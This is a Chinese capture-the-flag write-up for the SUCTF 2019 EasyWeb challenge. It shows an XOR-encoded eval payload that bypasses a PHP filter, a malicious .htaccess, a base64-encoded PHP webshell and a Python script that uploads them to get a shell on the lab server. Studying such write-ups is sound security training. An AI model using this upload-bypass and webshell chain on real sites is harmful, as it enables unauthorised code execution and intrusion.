程序员的资源宝库

网站首页 > gitee 正文

[SUCTF 2019]EasyWeb(加拿大td银行easyweb)

sanyeah 2024-04-04 11:07:51 gitee 6 ℃ 0 评论

[SUCTF 2019]EasyWeb

考点:1、文件上传 bypass 2、.htaccess的利用

开局源代码

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

第三行有个提示:

webadmin will remove your upload file every 20 min!!!!

我的垃圾翻译:你的上传文件每20分钟将会被管理员删除

接着我们去分析源码,一共需要绕过3层判断,分辨是

strlen($hhh)>18
	// 传入的值长度不能大于18
preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh)
    // 正则匹配
strlen($character_type)>12)
    // 出现的字符不能超过12个

我们先尝试绕过第二层判断,因为payload长度还没可知,18也挺长的

preg_match的绕过在这里能想到的只有通过异或绕过(只有^没有被过滤,~|都被过滤)

关于异或绕过

php的eval()函数在执行时如果内部有类似"abc"^"def"的计算式,那么就先进行计算再执行。例如url?a={_GET}{b}();&b=phpinfo,也就是?a=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo,在传入后实际上为${????^????}{?}();但是到了eval()函数内部就会变成${_GET}{?}();成功执行。

引用Hanamizuki花水木php异或计算绕过preg_match()

绕过原理
以制作免杀马为例:
在制作免杀马的过程,根据php的语言特性对字符进行!运算会将字符类型转为bool类型,而bool类型遇到运算符号时,true会自动转为数字1,false会自动转为数字0,如果将bool类型进行计算,并使用chr()函数转为字符,使用"."进行连接,便可以绕过preg_match匹配。
详情了解php不同于其他语言部分
但是很多的preg_match会过滤掉".",所以需要使用异或运算进行绕过,很多的免杀马都是这样制作的。php对字符进行异或运算是先将字符转换成ASCII码然后进行异或运算,并且php能直接对一串字符串进行异或运算,例如"123"^"abc"是"1"与"a"进行异或然后"2"与"b"进行异或,以此类推,在异或结束后就获得了想要的字符串。
注意点:进行异或运算时要将数字转换成字符形式,如果数字(int)和字符异或的话,结果只会是数字,例如1"a"=1,"a"2=2,将数字转换成字符串可以使用trim()函数。
拓展:
php特性use of undefined constant,会将没有引号的字符都自动视为字符串,ASCII码大于0x7F的都会被当作字符串,由此可知可以简化异或过程,任何字符与0xff异或都会取相反,这样就能减少运算量了。

从而我们构造出payload(长度刚好为18):

http://de749e14-6125-4f51-9343-53a47bfa635e.node4.buuoj.cn:81/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

先查看一下disable_functions,发现ban了很多命令执行函数system、exec

非预期解

这里我尝试搜了一下flag,没想到直接就给搜出来了

但是细想题目刚开始给了一个get_the_flag函数没有用的,出于对知识的渴望,就尝试使用其他方式解题

预期解

我们通过以上payload执行了phpinfo(),同理我们必然可以执行get_the_flag函数,来让我们看一看如何利用这个函数

function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }

这里需要绕过以下:

文件扩展名不能有ph

mb_strpos(file_get_contents($tmp_name), '<?')文件内容不能有<?

exif_imagetype()判断文件头字节是否为图片类型

利用.htaccess上传文件

通过刚才的分析可以得知,过滤了ph,既不能使用伪协议也不能传入扩展名为php等php文件,第二次过滤了<?,看别的师傅的WP说php7以上不可以使用<script>,所以只能利用.htaccess上传任意扩展文件达成攻击目的。

先上传最重要的.htaccess文件了

自己觉得挺全的学习路径:Apache的.htaccess利用技巧

.htaccess

#define width 1
#define height 1
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=./1.jpg"

通过刚才的链接学习到

AddType application/x-httpd-php .jpg # 将.jpg以php的方式解析
php_value auto_append_file "php://filter/convert.base64-decode/resource=./1.jpg"

在1.jpg加载完毕后,再次包含base64解码后的1.jpg,成功getshell,所以这也就是为什么会出现两次1.jpg内容的原因,第一次是没有经过base64解密的,第二次是经过解密并且转化为php了的。

还有一点要注意的是,如何绕过图片验证限制,一共有两种方法:

直接在文件头加入以下:
#define width 1
#define height 1
或者以16进制形式在文件头加入:
\x00

原理:#注释和\x00会将这行作为无效行解析

接下来上传图片马

这里传图片马非常要注意的一点是总字节长度必须是4的倍数(保证base64解码成功),这里被坑想了好久

1.jpg

GIF98abbPD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+

上面内容中bb就是为了凑长度的(这里千万不要换行,虽然换行符也占字节,但是实测没有效果,大概是因为不是可读字符吧)

然后依次传入文件,直接访问传入的图片马就可以了

这里再挂一个大佬的脚本:

import requests
import hashlib
import base64

url = "http://c387b4f3-e235-43cf-9af6-cbecb55f023c.node4.buuoj.cn:81/"
padding = "?_=${%f8%f8%f8%f8^%a7%bf%bd%ac}{%f8}();&%f8=get_the_flag"
myip = requests.get("http://ifconfig.me").text
ip_md5 = hashlib.md5(myip.encode()).hexdigest()
userdir = "upload/tmp_" + ip_md5 + "/"
htaccess = b"""\x00
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shaw.jpg"
"""
shaw = b"\x00\x00\x8a\x39\x8a\x39" + b"aa" + base64.b64encode(
    b"<?php eval($_GET['cmd']);?>")  # 00为了满足base64算法凑足八个字节
print(shaw)

files = [('file', ('.htaccess', htaccess, 'image/jpeg'))]

res = requests.post(url=url + padding, files=files)
files = [('file', ('1.jpg', shaw, 'image/jpeg'))]
res = requests.post(url=url + padding, files=files)
print("the path is:" + url + res.text)

emm....,结果发现最终还是在phpinfo中找flag

Tags:

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

最近发表
标签列表